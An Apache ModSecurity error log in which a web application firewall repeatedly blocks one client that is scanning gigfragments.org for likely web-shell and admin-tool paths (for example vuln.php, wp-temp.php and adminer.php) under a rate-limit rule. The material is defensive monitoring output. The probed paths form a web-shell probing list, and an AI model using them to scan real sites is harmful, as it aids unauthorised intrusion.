[Sat Apr 25 18:15:44.127095 2026] [:error] [pid 16195:tid 16221] [client 20.215.66.169:13666] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyUUDVPLvrpvXaNQOkAOAAAABc"]
[Sat Apr 25 18:15:44.696929 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13668] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sw.php"] [unique_id "aeyUUDVPLvrpvXaNQOkAOgAAABY"]
[Sat Apr 25 18:15:45.264281 2026] [:error] [pid 16108:tid 16168] [client 20.215.66.169:13585] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyUUYbPF4HSQDj6WrlUQgAAAMQ"]
[Sat Apr 25 18:15:45.824142 2026] [:error] [pid 16108:tid 16190] [client 20.215.66.169:13670] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyUUYbPF4HSQDj6WrlURAAAANg"]
[Sat Apr 25 18:15:46.360448 2026] [:error] [pid 16108:tid 16181] [client 20.215.66.169:13659] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyUUobPF4HSQDj6WrlURQAAAM8"]
[Sat Apr 25 18:15:46.899338 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13570] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vuln.php"] [unique_id "aeyUUjVPLvrpvXaNQOkAQgAAABY"]
[Sat Apr 25 18:15:47.457285 2026] [:error] [pid 16195:tid 16202] [client 20.215.66.169:13686] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyUUzVPLvrpvXaNQOkAQwAAAAQ"]
[Sat Apr 25 18:15:47.995912 2026] [:error] [pid 16108:tid 16179] [client 20.215.66.169:13586] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyUU4bPF4HSQDj6WrlURwAAAM0"]
[Sat Apr 25 18:15:48.505850 2026] [:error] [pid 16107:tid 16154] [client 20.215.66.169:13636] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyUVNIfF7Hy3tw0sYRchAAAAJE"]
[Sat Apr 25 18:15:49.027297 2026] [:error] [pid 16107:tid 16158] [client 20.215.66.169:13591] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-temp.php"] [unique_id "aeyUVdIfF7Hy3tw0sYRchwAAAJU"]
[Sat Apr 25 18:15:49.541298 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13579] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyUVYbPF4HSQDj6WrlUSwAAAMc"]
[Sat Apr 25 18:15:50.080438 2026] [:error] [pid 16195:tid 16198] [client 20.215.66.169:13685] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyUVjVPLvrpvXaNQOkASQAAAAA"]
[Sat Apr 25 18:15:50.614156 2026] [:error] [pid 16195:tid 16222] [client 20.215.66.169:13688] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyUVjVPLvrpvXaNQOkATAAAABg"]
[Sat Apr 25 18:15:51.174115 2026] [:error] [pid 16195:tid 16199] [client 20.215.66.169:13689] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sxdfrt.php"] [unique_id "aeyUVzVPLvrpvXaNQOkAVgAAAAE"]
[Sat Apr 25 18:15:51.749504 2026] [:error] [pid 16108:tid 16185] [client 20.215.66.169:13671] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyUV4bPF4HSQDj6WrlUUgAAANM"]
[Sat Apr 25 18:15:52.290498 2026] [:error] [pid 16106:tid 16115] [client 20.215.66.169:13672] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyUWCGjdEsrWF7e-7MUGgAAAEU"]
[Sat Apr 25 18:15:52.830023 2026] [:error] [pid 16108:tid 16168] [client 20.215.66.169:13631] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyUWIbPF4HSQDj6WrlUWQAAAMQ"]
[Sat Apr 25 18:15:53.371849 2026] [:error] [pid 16108:tid 16169] [client 20.215.66.169:13674] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeyUWYbPF4HSQDj6WrlUWwAAAMU"]
[Sat Apr 25 18:15:53.891553 2026] [:error] [pid 16195:tid 16201] [client 20.215.66.169:13646] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyUWTVPLvrpvXaNQOkAaQAAAAM"]
[Sat Apr 25 18:15:54.428427 2026] [:error] [pid 16108:tid 16183] [client 20.215.66.169:13601] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyUWobPF4HSQDj6WrlUXwAAANE"]
[Sat Apr 25 18:15:54.990348 2026] [:error] [pid 16195:tid 16210] [client 20.215.66.169:13640] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyUWjVPLvrpvXaNQOkAbAAAAAw"]
[Sat Apr 25 18:15:55.529726 2026] [:error] [pid 16195:tid 16199] [client 20.215.66.169:13575] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeyUWzVPLvrpvXaNQOkAbgAAAAE"]
[Sat Apr 25 18:15:56.044504 2026] [:error] [pid 16195:tid 16202] [client 20.215.66.169:13691] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyUXDVPLvrpvXaNQOkAcAAAAAQ"]
[Sat Apr 25 18:15:56.557879 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:13653] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyUXDVPLvrpvXaNQOkAcgAAAA4"]
[Sat Apr 25 18:15:57.092761 2026] [:error] [pid 16195:tid 16199] [client 20.215.66.169:13614] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyUXTVPLvrpvXaNQOkAdQAAAAE"]
[Sat Apr 25 18:15:57.653661 2026] [:error] [pid 16108:tid 16188] [client 20.215.66.169:13627] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeyUXYbPF4HSQDj6WrlUYQAAANY"]
[Sat Apr 25 18:15:58.223414 2026] [:error] [pid 16195:tid 16222] [client 20.215.66.169:13679] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyUXjVPLvrpvXaNQOkAfAAAABg"]
[Sat Apr 25 18:15:58.758427 2026] [:error] [pid 16195:tid 16212] [client 20.215.66.169:13590] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyUXjVPLvrpvXaNQOkAfgAAAA4"]
[Sat Apr 25 18:15:59.284763 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13620] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyUX4bPF4HSQDj6WrlUZQAAAMc"]
[Sat Apr 25 18:15:59.797130 2026] [:error] [pid 16108:tid 16189] [client 20.215.66.169:13641] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeyUX4bPF4HSQDj6WrlUZwAAANc"]
[Sat Apr 25 18:16:00.347913 2026] [:error] [pid 16195:tid 16203] [client 20.215.66.169:13516] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyUYDVPLvrpvXaNQOkAgwAAAAU"]
[Sat Apr 25 18:16:00.889808 2026] [:error] [pid 16108:tid 16182] [client 20.215.66.169:13648] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyUYIbPF4HSQDj6WrlUaQAAANA"]
[Sat Apr 25 18:16:01.409812 2026] [:error] [pid 16195:tid 16205] [client 20.215.66.169:13576] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyUYTVPLvrpvXaNQOkAhQAAAAc"]
[Sat Apr 25 18:16:01.922604 2026] [:error] [pid 16195:tid 16222] [client 20.215.66.169:13645] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeyUYTVPLvrpvXaNQOkAhgAAABg"]
[Sat Apr 25 18:16:02.439160 2026] [:error] [pid 16107:tid 16154] [client 20.215.66.169:13667] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyUYtIfF7Hy3tw0sYRclAAAAJE"]
[Sat Apr 25 18:16:02.977682 2026] [:error] [pid 16106:tid 16120] [client 20.215.66.169:13681] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyUYiGjdEsrWF7e-7MUIAAAAEo"]
[Sat Apr 25 18:16:03.512186 2026] [:error] [pid 16195:tid 16217] [client 20.215.66.169:13644] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyUYzVPLvrpvXaNQOkAiAAAABM"]
[Sat Apr 25 18:16:04.056990 2026] [:error] [pid 16195:tid 16202] [client 20.215.66.169:13642] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeyUZDVPLvrpvXaNQOkAigAAAAQ"]
[Sat Apr 25 18:16:04.622879 2026] [:error] [pid 16108:tid 16185] [client 20.215.66.169:13519] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyUZIbPF4HSQDj6WrlUcAAAANM"]
[Sat Apr 25 18:16:05.167251 2026] [:error] [pid 16106:tid 16123] [client 20.215.66.169:13656] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyUZSGjdEsrWF7e-7MUIQAAAE0"]
[Sat Apr 25 18:16:05.707353 2026] [:error] [pid 16107:tid 16137] [client 20.215.66.169:13692] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyUZdIfF7Hy3tw0sYRcmwAAAIA"]
[Sat Apr 25 18:16:06.273011 2026] [:error] [pid 16195:tid 16203] [client 20.215.66.169:13678] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aeyUZjVPLvrpvXaNQOkAjQAAAAU"]
[Sat Apr 25 18:16:06.810949 2026] [:error] [pid 16107:tid 16138] [client 20.215.66.169:13677] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyUZtIfF7Hy3tw0sYRcnQAAAIE"]
[Sat Apr 25 18:16:07.346365 2026] [:error] [pid 16195:tid 16209] [client 20.215.66.169:13682] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyUZzVPLvrpvXaNQOkAkAAAAAs"]
[Sat Apr 25 18:16:07.880873 2026] [:error] [pid 16107:tid 16161] [client 20.215.66.169:13683] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyUZ9IfF7Hy3tw0sYRcogAAAJg"]
[Sat Apr 25 18:16:08.419121 2026] [:error] [pid 16195:tid 16215] [client 20.215.66.169:13568] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "aeyUaDVPLvrpvXaNQOkAlwAAABE"]
[Sat Apr 25 18:16:08.954127 2026] [:error] [pid 16107:tid 16150] [client 20.215.66.169:13632] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyUaNIfF7Hy3tw0sYRcpQAAAI0"]
[Sat Apr 25 18:16:09.469948 2026] [:error] [pid 16106:tid 16110] [client 20.215.66.169:13597] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyUaSGjdEsrWF7e-7MUJQAAAEA"]
[Sat Apr 25 18:16:10.007065 2026] [:error] [pid 16106:tid 16117] [client 20.215.66.169:13571] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyUaiGjdEsrWF7e-7MUJgAAAEc"]
[Sat Apr 25 18:16:10.541664 2026] [:error] [pid 16107:tid 16149] [client 20.215.66.169:13580] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "aeyUatIfF7Hy3tw0sYRcqQAAAIw"]
[Sat Apr 25 18:16:11.077541 2026] [:error] [pid 16106:tid 16116] [client 20.215.66.169:13669] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyUayGjdEsrWF7e-7MUKAAAAEY"]
[Sat Apr 25 18:16:11.618422 2026] [:error] [pid 16108:tid 16173] [client 20.215.66.169:13646] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyUa4bPF4HSQDj6WrlUeAAAAMc"]
[Sat Apr 25 18:16:12.160951 2026] [:error] [pid 16195:tid 16199] [client 20.215.66.169:13684] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyUbDVPLvrpvXaNQOkAnAAAAAE"]
[Sat Apr 25 18:16:12.721910 2026] [:error] [pid 16195:tid 16220] [client 20.215.66.169:13509] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "aeyUbDVPLvrpvXaNQOkAnQAAABY"]
[Sat Apr 25 18:16:13.259698 2026] [:error] [pid 16107:tid 16147] [client 20.215.66.169:13520] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyUbdIfF7Hy3tw0sYRcqwAAAIo"]
[Sat Apr 25 18:16:13.780530 2026] [:error] [pid 16108:tid 16167] [client 20.215.66.169:13572] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Xx.php"] [unique_id "aeyUbYbPF4HSQDj6WrlUeQAAAMM"]
